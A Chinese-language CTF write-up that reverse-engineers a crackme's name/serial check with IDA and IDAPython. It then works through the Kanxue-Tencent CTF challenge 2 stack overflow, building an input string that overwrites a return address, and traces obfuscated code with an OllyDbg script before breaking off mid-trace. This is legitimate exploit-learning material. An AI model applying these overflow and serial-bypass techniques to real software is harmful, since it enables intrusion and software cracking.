.text:00401382                 call    memset
.text:00401387                 add     esp, 0Ch
.text:0040138A                 mov     byte ptr [ebp-3Ch], 0
.text:0040138E                 xor     ecx, ecx
.text:00401390                 mov     [ebp-3Bh], ecx
.text:00401393                 mov     [ebp-37h], ecx
.text:00401396                 mov     [ebp-33h], ecx
.text:00401399                 mov     [ebp-2Fh], ecx
.text:0040139C                 mov     [ebp-2Bh], ecx
.text:0040139F                 mov     [ebp-27h], ecx
.text:004013A2                 mov     byte ptr [ebp-20h], 0
.text:004013A6                 xor     edx, edx
.text:004013A8                 mov     [ebp-1Fh], edx
.text:004013AB                 mov     [ebp-1Bh], edx
.text:004013AE                 mov     [ebp-17h], edx
.text:004013B1                 mov     [ebp-13h], edx
.text:004013B4                 mov     [ebp-0Fh], edx
.text:004013B7                 mov     [ebp-0Bh], edx
.text:004013BA                 mov     eax, [ebp+8]
.text:004013BD                 mov     [ebp-0A8h], eax
.text:004013C3
.text:004013C3 loc_4013C3:                             ; CODE XREF: .text:004013FE↓j
.text:004013C3                 mov     ecx, [ebp-0A8h]
.text:004013C9                 add     ecx, [ebp-0A4h]
.text:004013CF                 mov     edx, [ebp-0A4h]
.text:004013D5                 mov     al, [ecx]
.text:004013D7                 mov     [ebp+edx-3Ch], al
.text:004013DB                 mov     ecx, [ebp-0A4h]
.text:004013E1                 add     ecx, 1
.text:004013E4                 mov     [ebp-0A4h], ecx
.text:004013EA                 mov     edx, [ebp-0A8h]
.text:004013F0                 add     edx, [ebp-0A4h]
.text:004013F6                 movzx   eax, byte ptr [edx]
.text:004013F9                 cmp     eax, 0FFh
.text:004013FE                 jnz     short loc_4013C3
.text:00401400                 mov     ecx, [ebp-0A4h]
.text:00401406                 add     ecx, 1
.text:00401409                 mov     [ebp-0A4h], ecx
.text:0040140F                 mov     dword ptr [ebp-0ACh], 0
.text:00401419
.text:00401419 loc_401419:                             ; CODE XREF: .text:00401460↓j
.text:00401419                 mov     edx, [ebp-0A8h]
.text:0040141F                 add     edx, [ebp-0A4h]
.text:00401425                 mov     eax, [ebp-0ACh]
.text:0040142B                 mov     cl, [edx]
.text:0040142D                 mov     [ebp+eax-20h], cl
.text:00401431                 mov     edx, [ebp-0A4h]
.text:00401437                 add     edx, 1
.text:0040143A                 mov     [ebp-0A4h], edx
.text:00401440                 mov     eax, [ebp-0ACh]
.text:00401446                 add     eax, 1
.text:00401449                 mov     [ebp-0ACh], eax
.text:0040144F                 mov     ecx, [ebp-0A8h]
.text:00401455                 add     ecx, [ebp-0A4h]
.text:0040145B                 movzx   edx, byte ptr [ecx]
.text:0040145E                 test    edx, edx
.text:00401460                 jnz     short loc_401419
.text:00401462                 add     eax, 1
.text:00401465                 xor     eax, eax
.text:00401467                 sub     eax, 1
.text:0040146A                 xor     eax, eax
.text:0040146C                 jnz     short near ptr loc_401470+1
.text:0040146E                 jz      short near ptr loc_401470+1
.text:00401470
.text:00401470 loc_401470:                             ; CODE XREF: .text:0040146C↑j
.text:00401470                                         ; .text:0040146E↑j
.text:00401470                 xor     esi, [ebx]
.text:00401472                 leave
.text:00401473                 call    sub_401000
.text:00401478                 push    eax
.text:00401479                 call    ds:srand
.text:0040147F                 add     esp, 4
.text:00401482                 mov     dword ptr [ebp-0A4h], 0
.text:0040148C
.text:0040148C loc_40148C:                             ; CODE XREF: .text:004014DB↓j
.text:0040148C                 xor     eax, eax
.text:0040148E                 jnz     short near ptr loc_401492+2
.text:00401490                 jz      short near ptr loc_401492+2
.text:00401492
.text:00401492 loc_401492:                             ; CODE XREF: .text:0040148E↑j
.text:00401492                                         ; .text:00401490↑j
.text:00401492                 call    near ptr 0A0561397h
.text:00401497                 xor     [eax+0], al
.text:0040149A                 and     eax, 800000FFh
.text:0040149F                 jns     short loc_4014A8
.text:004014A1                 dec     eax
.text:004014A2                 or      eax, 0FFFFFF00h
.text:004014A7                 inc     eax
.text:004014A8
.text:004014A8 loc_4014A8:                             ; CODE XREF: .text:0040149F↑j
.text:004014A8                 mov     ecx, [ebp-0A4h]
.text:004014AE                 movzx   edx, byte ptr [ebp+ecx-3Ch]
.text:004014B3                 xor     edx, eax
.text:004014B5                 mov     eax, [ebp-0A4h]
.text:004014BB                 mov     [ebp+eax-3Ch], dl
.text:004014BF                 mov     ecx, [ebp-0A4h]
.text:004014C5                 add     ecx, 1
.text:004014C8                 mov     [ebp-0A4h], ecx
.text:004014CE                 mov     edx, [ebp-0A4h]
.text:004014D4                 movzx   eax, byte ptr [ebp+edx-3Ch]
.text:004014D9                 test    eax, eax
.text:004014DB                 jnz     short loc_40148C
.text:004014DD                 mov     dword ptr [ebp-0A4h], 0
.text:004014E7
.text:004014E7 loc_4014E7:                             ; CODE XREF: .text:0040152E↓j
.text:004014E7                 call    ds:rand
.text:004014ED                 and     eax, 800000FFh
.text:004014F2                 jns     short loc_4014FB
.text:004014F4                 dec     eax
.text:004014F5                 or      eax, 0FFFFFF00h
.text:004014FA                 inc     eax
.text:004014FB
.text:004014FB loc_4014FB:                             ; CODE XREF: .text:004014F2↑j
.text:004014FB                 mov     ecx, [ebp-0A4h]
.text:00401501                 movzx   edx, byte ptr [ebp+ecx-20h]
.text:00401506                 xor     edx, eax
.text:00401508                 mov     eax, [ebp-0A4h]
.text:0040150E                 mov     [ebp+eax-20h], dl
.text:00401512                 mov     ecx, [ebp-0A4h]
.text:00401518                 add     ecx, 1
.text:0040151B                 mov     [ebp-0A4h], ecx
.text:00401521                 mov     edx, [ebp-0A4h]
.text:00401527                 movzx   eax, byte ptr [ebp+edx-20h]
.text:0040152C                 test    eax, eax
.text:0040152E                 jnz     short loc_4014E7
.text:00401530                 mov     dword ptr [ebp-0A4h], 0
.text:0040153A                 xor     eax, eax
.text:0040153C                 jnz     short near ptr loc_401543+2
.text:0040153E                 jz      short near ptr loc_401543+2
.text:00401540                 xor     ebp, eax
.text:00401542                 clc
.text:00401543
.text:00401543 loc_401543:                             ; CODE XREF: .text:0040153C↑j
.text:00401543                                         ; .text:0040153E↑j ...
.text:00401543                 mov     eax, 5C8D8B00h
.text:00401543 ; ---------------------------------------------------------------------------
.text:00401548                 db 0FFh
.text:00401549                 db 0FFh
.text:0040154A ; ---------------------------------------------------------------------------
.text:0040154A                 dec     dword ptr [edi]
.text:0040154C                 mov     dh, 54h
.text:0040154E                 or      eax, 3E2C1C4h
.text:00401553                 mov     eax, [ebp-0A4h]
.text:00401559                 mov     [ebp+eax-3Ch], dl
.text:0040155D                 mov     ecx, [ebp-0A4h]
.text:00401563                 add     ecx, 1
.text:00401566                 mov     [ebp-0A4h], ecx
.text:0040156C                 mov     edx, [ebp-0A4h]
.text:00401572                 movzx   eax, byte ptr [ebp+edx-3Ch]
.text:00401577                 test    eax, eax
.text:00401579                 jnz     short near ptr loc_401543+2
.text:0040157B                 mov     dword ptr [ebp-0A4h], 0
.text:00401585
.text:00401585 loc_401585:                             ; CODE XREF: .text:004015B9↓j
.text:00401585                 mov     ecx, [ebp-0A4h]
.text:0040158B                 movzx   edx, byte ptr [ebp+ecx-20h]
.text:00401590                 shl     edx, 5
.text:00401593                 mov     eax, [ebp-0A4h]
.text:00401599                 mov     [ebp+eax-20h], dl
.text:0040159D                 mov     ecx, [ebp-0A4h]
.text:004015A3                 add     ecx, 1
.text:004015A6                 mov     [ebp-0A4h], ecx
.text:004015AC                 mov     edx, [ebp-0A4h]
.text:004015B2                 movzx   eax, byte ptr [ebp+edx-20h]
.text:004015B7                 test    eax, eax
.text:004015B9                 jnz     short loc_401585
.text:004015BB                 mov     dword ptr [ebp-0A4h], 0
.text:004015C5
.text:004015C5 loc_4015C5:                             ; CODE XREF: .text:00401639↓j
.text:004015C5                 mov     ecx, [ebp-0A4h]
.text:004015CB                 movzx   edx, byte ptr [ebp+ecx-3Ch]
.text:004015D0                 mov     eax, [ebp-0A4h]
.text:004015D6                 movzx   ecx, byte ptr [ebp+eax-20h]
.text:004015DB                 xor     ecx, edx
.text:004015DD                 mov     edx, [ebp-0A4h]
.text:004015E3                 mov     [ebp+edx-20h], cl
.text:004015E7                 mov     eax, [ebp-0A4h]
.text:004015ED                 movzx   ecx, byte ptr [ebp+eax-20h]
.text:004015F2                 mov     edx, [ebp-0A4h]
.text:004015F8                 movzx   eax, byte_404018[edx]
.text:004015FF                 cmp     ecx, eax
.text:00401601                 jnz     short loc_40161D
.text:00401603                 mov     ecx, [ebp-0A4h]
.text:00401609                 movzx   edx, byte ptr [ebp+ecx-20h]
.text:0040160E                 push    edx
.text:0040160F                 push    offset a02x     ; "%02X"
.text:00401614                 call    ds:wprintf
.text:0040161A                 add     esp, 8
.text:0040161D
.text:0040161D loc_40161D:                             ; CODE XREF: .text:00401601↑j
.text:0040161D                 mov     eax, [ebp-0A4h]
.text:00401623                 add     eax, 1
.text:00401626                 mov     [ebp-0A4h], eax
.text:0040162C                 mov     ecx, [ebp-0A4h]
.text:00401632                 movzx   edx, byte ptr [ebp+ecx-20h]
.text:00401637                 test    edx, edx
.text:00401639                 jnz     short loc_4015C5
.text:0040163B                 mov     eax, dword_404040
.text:00401640                 mov     [ebp-0B0h], eax
.text:00401646                 mov     eax, [ebp-0B0h]
.text:0040164C                 mov     ecx, [ebp-4]
.text:0040164F                 xor     ecx, ebp
.text:00401651                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401656                 mov     esp, ebp
.text:00401658                 pop     ebp
.text:00401659                 retn

开始时,详细分析了该段代码的作用,发现其就是来回的判断name和serial的数据,并没有进行任何实质性的判断操作,在代码的最后才发现起作用的就这一段

.text:0040163B                 mov     eax, dword_404040
.text:00401640                 mov     [ebp-0B0h], eax
.text:00401646                 mov     eax, [ebp-0B0h]
.text:0040164C                 mov     ecx, [ebp-4]
.text:0040164F                 xor     ecx, ebp
.text:00401651                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401656                 mov     esp, ebp
.text:00401658                 pop     ebp
.text:00401659                 retn

返回值eax来自于dword_404040,但是在loc_401350开始位置,对00404040位置设内存访问断点,只断在了最后这里,所以整个loc_401350的过程都没有对dword_404040这个数据进行操作,通过idapython寻找所有操作dword_404040数据的指令

import idaapi
import idc
import idautils


def find_op():
    start = MinEA()
    end = MaxEA()
    curr_add = start  
    
    while curr_add < end:
        asm = idc.GetDisasm(curr_add)
        if asm and 'dword_404040' in asm: 
            print hex(curr_add), idc.GetDisasm(curr_add)
        curr_add = idc.NextHead(curr_add)
    
if __name__ == '__main__': 
    find_op() 

结果:

0x4011deL mov     esi, dword_404040
0x40121fL mov     dword_404040, esi
0x40163bL mov     eax, dword_404040

第三个地址在loc_401350中,前2个地址都在sub_401110中,现在来好好分析这段代码

00401110 <re2_win1.sub_401110>       55              push ebp                                      ; sub_401110
00401111                             8BEC            mov ebp,esp
00401113                             81EC A0000000   sub esp,0xA0
00401119                             A1 00404000     mov eax,dword ptr ds:[<___security_cookie>]
0040111E                             33C5            xor eax,ebp
00401120                             8945 FC         mov dword ptr ss:[ebp-0x4],eax
00401123                             56              push esi
00401124                             0F57C0          xorps xmm0,xmm0
00401127                             57              push edi
00401128                             8BF9            mov edi,ecx
0040112A                             33D2            xor edx,edx
0040112C                             8A0F            mov cl,byte ptr ds:[edi]
0040112E                             8D75 E0         lea esi,dword ptr ss:[ebp-0x20]
00401131                             8855 E0         mov byte ptr ss:[ebp-0x20],dl
00401134                             660fd645 e1     movq qword ptr ss:[ebp-0x1f],xmm0
00401139                             660fd645 e9     movq qword ptr ss:[ebp-0x17],xmm0
0040113E                             660fd645 f1     movq qword ptr ss:[ebp-0xf],xmm0
00401143                             8855 C4         mov byte ptr ss:[ebp-0x3C],dl
00401146                             660fd645 c5     movq qword ptr ss:[ebp-0x3b],xmm0
0040114B                             660fd645 cd     movq qword ptr ss:[ebp-0x33],xmm0
00401150                             660fd645 d5     movq qword ptr ss:[ebp-0x2b],xmm0
00401155                             8BC7            mov eax,edi                                   ; eax存储传递过来的GetCommandLineW获取的字符串
00401157                             2BF7            sub esi,edi
00401159                             8DA424 00000000 lea esp,dword ptr ss:[esp]
00401160 <re2_win1.loc_401160>       880C06          mov byte ptr ds:[esi+eax],cl                  ; 将name数据复制到[ebp-20h]中,遇到FF结束
00401163                             8A48 01         mov cl,byte ptr ds:[eax+0x1]
00401166                             8D40 01         lea eax,dword ptr ds:[eax+0x1]
00401169                             42              inc edx
0040116A                             80F9 FF         cmp cl,0xFF
0040116D                           ^ 75 F1           jnz short <re2_win1.loc_401160>
0040116F                             0FB605 54404000 movzx eax,byte ptr ds:[<byte_404054>]         ; 将abcdefgh添加到name尾部
00401176                             884415 E0       mov byte ptr ss:[ebp+edx-0x20],al
0040117A                             0FB605 55404000 movzx eax,byte ptr ds:[<byte_404055>]         ; bcdefgh
00401181                             884415 E1       mov byte ptr ss:[ebp+edx-0x1F],al
00401185                             0FB605 56404000 movzx eax,byte ptr ds:[<byte_404056>]         ; cdefgh
0040118C                             884415 E2       mov byte ptr ss:[ebp+edx-0x1E],al
00401190                             0FB605 57404000 movzx eax,byte ptr ds:[<byte_404057>]         ; defgh
00401197                             884415 E3       mov byte ptr ss:[ebp+edx-0x1D],al
0040119B                             0FB605 58404000 movzx eax,byte ptr ds:[<byte_404058>]         ; efgh
004011A2                             884415 E4       mov byte ptr ss:[ebp+edx-0x1C],al
004011A6                             0FB605 59404000 movzx eax,byte ptr ds:[<byte_404059>]         ; fgh
004011AD                             884415 E5       mov byte ptr ss:[ebp+edx-0x1B],al
004011B1                             0FB605 5A404000 movzx eax,byte ptr ds:[<byte_40405A>]         ; gh
004011B8                             884415 E6       mov byte ptr ss:[ebp+edx-0x1A],al
004011BC                             0FB605 5B404000 movzx eax,byte ptr ds:[<byte_40405B>]         ; h
004011C3                             884415 E7       mov byte ptr ss:[ebp+edx-0x19],al
004011C7                             42              inc edx
004011C8                             8D4D C4         lea ecx,dword ptr ss:[ebp-0x3C]
004011CB                             8D043A          lea eax,dword ptr ds:[edx+edi]
004011CE                             8A10            mov dl,byte ptr ds:[eax]
004011D0 <re2_win1.loc_4011D0>       8D40 01         lea eax,dword ptr ds:[eax+0x1]                ; 将序列号复制到[ebp-3ch]中,遇到字符串结束符,结束复制
004011D3                             8811            mov byte ptr ds:[ecx],dl
004011D5                             8A10            mov dl,byte ptr ds:[eax]
004011D7                             8D49 01         lea ecx,dword ptr ds:[ecx+0x1]
004011DA                             84D2            test dl,dl
004011DC                           ^ 75 F2           jnz short <re2_win1.loc_4011D0>
004011DE                             8B35 40404000   mov esi,dword ptr ds:[<dword_404040>]
004011E4                             33C0            xor eax,eax
004011E6                             EB 08           jmp short <re2_win1.loc_4011F0>
004011E8                             8DA424 00000000 lea esp,dword ptr ss:[esp]
004011EF                             90              nop
004011F0 <re2_win1.loc_4011F0>       0FB65405 C4     movzx edx,byte ptr ss:[ebp+eax-0x3C]          ; 比较算法主干
004011F5                             0FB64C05 E0     movzx ecx,byte ptr ss:[ebp+eax-0x20]
004011FA                             03CA            add ecx,edx                                   ; 字符相加
004011FC                             A8 01           test al,0x1    ; 根据奇数位和偶数位分别判断
004011FE                             74 10           je short <re2_win1.loc_401210>
00401200                             C1E1 03         shl ecx,0x3
00401203                             3B0C85 60404000 cmp ecx,dword ptr ds:[eax*4+<dword_404060>]
0040120A                             74 19           je short <re2_win1.loc_401225>
0040120C                             33F6            xor esi,esi
0040120E                             EB 0F           jmp short <re2_win1.loc_40121F>
00401210 <re2_win1.loc_401210>       C1E1 05         shl ecx,0x5                                   ; loc_401210
00401213                             33D2            xor edx,edx
00401215                             3B0C85 60404000 cmp ecx,dword ptr ds:[eax*4+<dword_404060>]
0040121C                             0F45F2          cmovne esi,edx
0040121F <re2_win1.loc_40121F>       8935 40404000   mov dword ptr ds:[<dword_404040>],esi         ; loc_40121F
00401225 <re2_win1.loc_401225>       40              inc eax                                       ; loc_401225
00401226                             83F8 17         cmp eax,0x17
00401229                           ^ 7C C5           jl short <re2_win1.loc_4011F0>
0040122B                             8B4D FC         mov ecx,dword ptr ss:[ebp-0x4]
0040122E                             5F              pop edi
0040122F                             33CD            xor ecx,ebp
00401231                             5E              pop esi
00401232                             E8 CE070000     call <re2_win1.__security_check_cookie(x)>
00401237                             8BE5            mov esp,ebp
00401239                             5D              pop ebp
0040123A                             C3              retn

最后判断的那部分代码通过汇编代码直观不是很清晰,F5来看C的伪代码,只看判断的那部分

  v8 = dword_404040;
  result = 0;
  do
  {
    v10 = (unsigned __int8)*(&v11 + result) + (unsigned __int8)*(&v15 + result); // 这里就是将name和serial字符依次相加,汇编代码可能会比C更加直观
    if ( result & 1 ) // 奇数位
    {
      if ( 8 * v10 == dword_404060[result] )
        goto LABEL_12;
      v8 = 0;
    }
    else if ( 32 * v10 != dword_404060[result] ) //偶数位判断
    {
      v8 = 0;
    }
    dword_404040 = v8;
LABEL_12:
    ++result;
  }
  return result;

其实即使变为C的伪代码,一开始我也犯混,有一个不等于在这增加了我们的迷惑感,这里需要我们很细心,慢慢分析其具体的判断逻辑,经过分析,简化代码如下

do {
    v10 = name[i] + serial[i]
    if (i % 2 == 1) // 奇数位
    {
        if (v10 * 8 == dword_404060[i])
        {
            goto label1
        }
        else {
            dword_404040 = 0; // 等于0也就是判断失败
        }
    }
    else { //偶数位
        if (v10 * 32 == dword_404060[i])
        {
            goto label1
        }
        else {
            dword_404040 = 0; // 等于0也就是判断失败
        } 
    }
    lable1:
        result ++; 
} while (result < 23)

这应该是比较直观的伪代码了!现在可以直观的看到验证过程,就是name(后面接了abcdefgh)+serial,并将结果与dword_404060这个数组中的数据进行比较

.data:00404060 dword_404060    dd 13E0h                ; DATA XREF: sub_401110+F3↑r
.data:00404060                                         ; sub_401110+105↑r
.data:00404064                 db 0A0h
.data:00404065                 db    6
.data:00404066                 db    0
.data:00404067                 db    0
.data:00404068                 db  60h ; `
.data:00404069                 db  1Bh
.data:0040406A                 db    0
.data:0040406B                 db    0
.data:0040406C                 db  70h ; p
.data:0040406D                 db    6
.data:0040406E                 db    0
.data:0040406F                 db    0
.data:00404070                 db 0C0h
.data:00404071                 db  19h
.data:00404072                 db    0
.data:00404073                 db    0
.data:00404074                 db  70h ; p
.data:00404075                 db    5
.data:00404076                 db    0
.data:00404077                 db    0
.data:00404078                 db 0A0h
.data:00404079                 db  16h
.data:0040407A                 db    0
.data:0040407B                 db    0
.data:0040407C                 db  40h ; @
.data:0040407D                 db    5
.data:0040407E                 db    0
.data:0040407F                 db    0
.data:00404080                 db 0C0h
.data:00404081                 db  16h
.data:00404082                 db    0
.data:00404083                 db    0
.data:00404084                 db  90h
.data:00404085                 db    4
.data:00404086                 db    0
.data:00404087                 db    0
.data:00404088                 db 0A0h
.data:00404089                 db  1Ch
.data:0040408A                 db    0
.data:0040408B                 db    0
.data:0040408C                 db  88h
.data:0040408D                 db    6
.data:0040408E                 db    0
.data:0040408F                 db    0
.data:00404090                 db  80h ; €
.data:00404091                 db  17h
.data:00404092                 db    0
.data:00404093                 db    0
.data:00404094                 db 0F8h
.data:00404095                 db    4
.data:00404096                 db    0
.data:00404097                 db    0
.data:00404098                 db  20h
.data:00404099                 db  1Ah
.data:0040409A                 db    0
.data:0040409B                 db    0
.data:0040409C                 db  10h
.data:0040409D                 db    5
.data:0040409E                 db    0
.data:0040409F                 db    0
.data:004040A0                 db 0E0h
.data:004040A1                 db  19h
.data:004040A2                 db    0
.data:004040A3                 db    0
.data:004040A4                 db  20h
.data:004040A5                 db    6
.data:004040A6                 db    0
.data:004040A7                 db    0
.data:004040A8                 db 0C0h
.data:004040A9                 db  1Bh
.data:004040AA                 db    0
.data:004040AB                 db    0
.data:004040AC                 db 0C0h
.data:004040AD                 db    4
.data:004040AE                 db    0
.data:004040AF                 db    0
.data:004040B0                 db 0E0h
.data:004040B1                 db  12h
.data:004040B2                 db    0
.data:004040B3                 db    0
.data:004040B4                 db 0A8h
.data:004040B5                 db    6
.data:004040B6                 db 0
.data:004040B7                 db    0
.data:004040B8                 db 0E0h
.data:004040B9                 db  19h
.data:004040BA                 db    0
.data:004040BB                 db    0
.data:004040BC                 db    0
.data:004040BD                 db    0
.data:004040BE                 db    0
.data:004040BF                 db    0

这是ida pro给我们的初始格式的数据,我们需要通过idapython进行处理,来快速的获取到name+serial的结果之和

import idaapi
import idc
import idautils

def get_data():  
    start = int('0x00404060', 16)
    end = int('0x004040BF', 16)  
    sign = 0
    curr_addr = start
    while curr_addr < end:
        data = idc.Dword(curr_addr)
        if sign & 1:
            
            if data % 8 != 0:
                print '#' * 10
            handled = data / 8
            print '%02x' % handled,
        else:
            if data % 32 != 0:
                print '&' * 10 
            handled = data / 32
            print '%02x' % handled,
        sign += 1
        curr_addr += 4
    
if __name__ == '__main__':
    get_data()

结果:

9f d4 db ce ce ae b5 a8 b6 92 e5 d1 bc 9f d1 a2 cf c4 de 98 97 d5 cf 00

name+'abcdefgh'的长度是23,这里是24个数,所以我们舍弃最后一个数据,真正的结果之和

9f d4 db ce ce ae b5 a8 b6 92 e5 d1 bc 9f d1 a2 cf c4 de 98 97 d5 cf

所以这题多解了,只要name(abcdefgh)+serial满足上面的结果就是一个解,到这里所有的分析完毕!

看雪腾讯ctf第二题

看雪腾讯ctf第二题

经典的栈溢出题目

拖入IDA直接查看,搜索main函数,结果:

判断dword_41B034是否为0,则成功。

中间由三个函数组成

call    sub_401050
call    sub_401090
call    sub_4010E0

后面两个函数直接F5,可以发现是由四个方程组构成,前两个成立会减1,后两个成立再减1

5*(v1-v0)+v1=0x8f503a42
13 * (v1 - v0) + v0 == 0xEF503A42
17 * (v1 - v0) + v1 == 0xF3A94883
7 * (v1 - v0) + v0 == 0x33A94883

只有两个变量,但是有四个方程,正常推理是无解的,通过计算也确实是无解的。现在回到最开始的三个函数,那么来看第一个函数

var_C           = byte ptr -0Ch
sub     esp, 0Ch
push    offset aCodedByFpc ; " Coded by Fpc.\n\n"
call    sub_413D42
add     esp, 4
push    offset aPleaseInputYou ; " Please input your code: "
call    sub_413D42
add     esp, 4
lea     eax, [esp+0Ch+var_C]
push    eax
push    offset aS       ; "%s"
call    _scanf
lea     eax, [esp+14h+var_C]
add     esp, 14h
retn

要是老手的话,看到scanf第一眼就应该想到有溢出了,但是我这种新手,慢慢来分析。首先函数的开始,竟然就没有经典的函数开始标志

push ebp
mov ebp, esp
sub ...

而是直接sub,这一点我不是很理解(有一种理解就是直接用汇编代码编写的函数,并没有通过vc)!但是这里可以看到sub esp, 0ch 说明分配了12个字节的数据,分配的空间很小,理所当然的就应该想到溢出的问题。在分析的过程中,函数sub_413D42也看了很久,具体函数如下

arg_0= dword ptr  4
arg_4= dword ptr  8

push    ebx
push    esi
mov     esi, offset stru_41B0F0
push    edi
push    esi
call    __stbuf
mov     edi, eax
lea     eax, [esp+10h+arg_4]
push    eax             ; int
push    [esp+14h+arg_0] ; int
push    esi             ; FILE *
call    sub_413F7C
push    esi
push    edi
mov     ebx, eax
call    __ftbuf
add     esp, 18h
mov     eax, ebx
pop     edi
pop     esi
pop     ebx
retn

看着一个挺复杂的函数,到最后才发现这就是一个简单的printf函数,查阅一些资料并没有找到准确的printf的汇编代码,因为printf跟平台密切相关,实现较为复杂,所以也可能导致ida并没有准确的识别出来,但是有两个主要的标志函数

call    __stbuf
call    __ftbuf

可以看作识别printf函数的重要标志!再往下看,调用scanf函数,将验证码输入位置[esp+0Ch+var_C]。因为是第一次做溢出题,所以现在来详细分析一下溢出的原因,此时正常的1050函数栈应该是这样的

 -------  ==> 上一个函数栈
|       |
 -------  ==> 返回地址
|       | 
 -------  ==> ebp(esp+0ch)
|       | 
 -------  ==> esp+8
|       |
 -------  ==> esp+4
|       |
 -------  ==> esp
 

但是这里有一点需要注意的,1050这个函数和正常入栈的函数不一样,一般的函数会压入ebp,但是这里没有,跟上个函数的位置相同

 -------  ==> 返回地址
|       |
 -------  ==> ebp(esp+0ch) 
|       | 
 -------  ==> esp+8
|       |
 -------  ==> esp+4
|       |
 -------  ==> esp

这是函数开始时的栈分配情况,在结束前栈时这样的

 -------  ==> 返回地址
|       |
 -------  ==> ebp(esp+14h) 
|       | 
 -------  ==> esp+10h
|       |
 -------  ==> esp+0ch
|       |
 -------  ==> esp+8
|       |
 -------  ==> esp+4
|       |
 -------  ==> esp

栈的最低下存放的是scanf两个参数,在函数结束前

add esp, 14h

其中add esp, 14h,正好将esp恢复到原始的ebp

 -------  ==> 上一个函数栈
|       |
 -------  ==> 返回地址
|       | 
 -------  ==> ebp(esp)

再一个retn

 -------  ==> 上一个函数栈
|       |
 -------  ==> 返回地址(esp/ebp)

如果我们输入的是16位的字符串,那么最后4个字符将会覆盖掉ebp,当函数返回时,那么将会把最后四个字符作为返回地址

最终得出,在没有栈保护的情况下,如果输入超过12个字符,那么13-16的字符串将会作为返回地址使用。

理论上分析是这样了,那么来验证一下是不是超过12个字符可以覆盖返回地址

可以看到defganscii值作为返回值返回,接下来找到需要返回的地址即可!从头往下找,可以发现一个可疑的函数:

我们只要通过输入恰当的字符,那么就可以使返回地址是00413131,0x31对应的字符是1,0x41对应的是A,所以输入的字符最后是11A(因为方向是相反的),输入12345678911111A,之后利用od进行run跟踪

把有用的部分抽取出来

add esp, -10
xor eax, eax
mov dowrd ptr ds:[41b034], eax
pop eax
mov ecx, eax
pop eax
mov ebx, eax
pop eax
mov edx, eax
mov eax, ecx
sub eax, ebx
shl eax, 2
add eax, ecx
add eax, edx
sub eax, EAF917E2
pop eax
xor eax, 1210e
xor eax, dword ptf ds:[41b034]
jmp eax

开始的第一句汇编代码就吸引住我了,想弄清为什么是10h,那么来具体分析一下栈情况,在执行完add esp, -10h后的栈情况

 -------  ==> 上一个函数栈
|       |
 -------  ==> ebp(esp+10h)
|       | 
 -------  ==> esp+0ch
|       | 
 -------  ==> esp+8
|       |
 -------  ==> esp+4
|       |
 -------  ==> esp

这里注意一下最后几个汇编命令

pop eax
xor eax, 1210e
xor eax, dword ptf ds:[41b034]
jmp eax

这是最后一个pop也是第四个popeax里面存储的是00413131,经过异或操作

hex(0x00413131 ^ 0x1210e)
=> '0x40103f'

再来看看该处代码

真心佩服作者这汇编代码的水平!

第一个等式我们使用run 跟踪成功的找出了,接下来为了节省时间,直接用odbgscript去找,大概一分钟之内能完事

;global variable 
var filename

; clean all uncondicional breakpoints
bc

mov filename, "fpc_trace.txt"
wrt filename, "Run trace\r\n"

bp 401080
run 
mov [eax], "123456789acf11A"

write_disasm:
	cmp eip, 4133ee
	jnz  third_equation
	mov !ZF, 1

third_equation:
	cmp eip, 4135fe
	jnz not_breakpoint 
	mov !ZF, 1 

not_breakpoint:

    opcode eip  ; get eip mnemonic opcode
	eval "00{eip}      {$RESULT_1} \r\n"
	wrta filename, $RESULT
    sto
	jmp write_disasm

追踪到的run trace

Run trace

00401080      ADD ESP,14
00401083      RETN
00413131      ADD ESP,-10
00413134      JO SHORT ctf2017_.00413160
00413136      JNO SHORT ctf2017_.00413158
00413158      JNO SHORT ctf2017_.00413141
00413141      JNO SHORT ctf2017_.00413149
00413149      JNO SHORT ctf2017_.0041313C
0041313C      JNO SHORT ctf2017_.0041315A
0041315A      JNO SHORT ctf2017_.00413150
00413150      XOR EAX,EAX
00413152      JE SHORT ctf2017_.0041313E
0041313E      JE SHORT ctf2017_.00413168
00413168      JO SHORT ctf2017_.00413196
0041316A      JNO SHORT ctf2017_.0041318E
0041318E      JNO SHORT ctf2017_.00413175
00413175      JNO SHORT ctf2017_.0041317D
0041317D      JNO SHORT ctf2017_.00413170
00413170      JNO SHORT ctf2017_.00413190
00413190      JNO SHORT ctf2017_.00413184
00413184      MOV DWORD PTR DS:[41B034],EAX
00413189      JE SHORT ctf2017_.00413172
00413172      JE SHORT ctf2017_.0041319F
0041319F      JO SHORT ctf2017_.004131C8
004131A1      JNO SHORT ctf2017_.004131C0
004131C0      JNO SHORT ctf2017_.004131AC
004131AC      JNO SHORT ctf2017_.004131B3
004131B3      JNO SHORT ctf2017_.004131A7
004131A7      JNO SHORT ctf2017_.004131C2
004131C2      JNO SHORT ctf2017_.004131BA
004131BA      POP EAX
004131BB      JO SHORT ctf2017_.004131A9
004131BD      JNO SHORT ctf2017_.004131D0
004131D0      JLE SHORT ctf2017_.004131F3
004131F3      JLE SHORT ctf2017_.004131E4
004131E4      JLE SHORT ctf2017_.00413202
00413202      JLE SHORT ctf2017_.004131DC
004131DC      JLE SHORT ctf2017_.004131EB
004131EB      MOV ECX,EAX
004131ED      JE SHORT ctf2017_.004131D9
004131D9      JE SHORT ctf2017_.00413205
00413205      JBE SHORT ctf2017_.00413227
00413227      JBE SHORT ctf2017_.00413218
00413218      JBE SHORT ctf2017_.00413235
00413235      JBE SHORT ctf2017_.00413210
00413210      JBE SHORT ctf2017_.0041321F
0041321F      POP EAX
00413220      JS SHORT ctf2017_.0041320D
00413222      JNS SHORT ctf2017_.00413238
00413238      JB SHORT ctf2017_.0041325D
0041323A      PREFIX REPNE:
00413266      JNB SHORT ctf2017_.00413248
00413248      JNB SHORT ctf2017_.00413250
00413250      JNB SHORT ctf2017_.00413262
00413262      JNB SHORT ctf2017_.0041325F
0041325F      JNB SHORT ctf2017_.00413254
00413254      MOV EBX,EAX
00413256      JE SHORT ctf2017_.00413241
00413241      JE SHORT ctf2017_.0041326F
0041326F      JE SHORT ctf2017_.00413298
00413298      JE SHORT ctf2017_.00413286
00413286      JE SHORT ctf2017_.0041329E
0041329E      JE SHORT ctf2017_.0041327F
0041327F      JE SHORT ctf2017_.00413289
00413289      POP EAX
0041328A      JL SHORT ctf2017_.00413279
0041328C      JGE SHORT ctf2017_.004132A1
004132A1      JMP SHORT ctf2017_.004132C6
004132C6      JMP SHORT ctf2017_.004132B5
004132B5      MOV EDX,EAX
004132B7      JNZ SHORT ctf2017_.004132A5
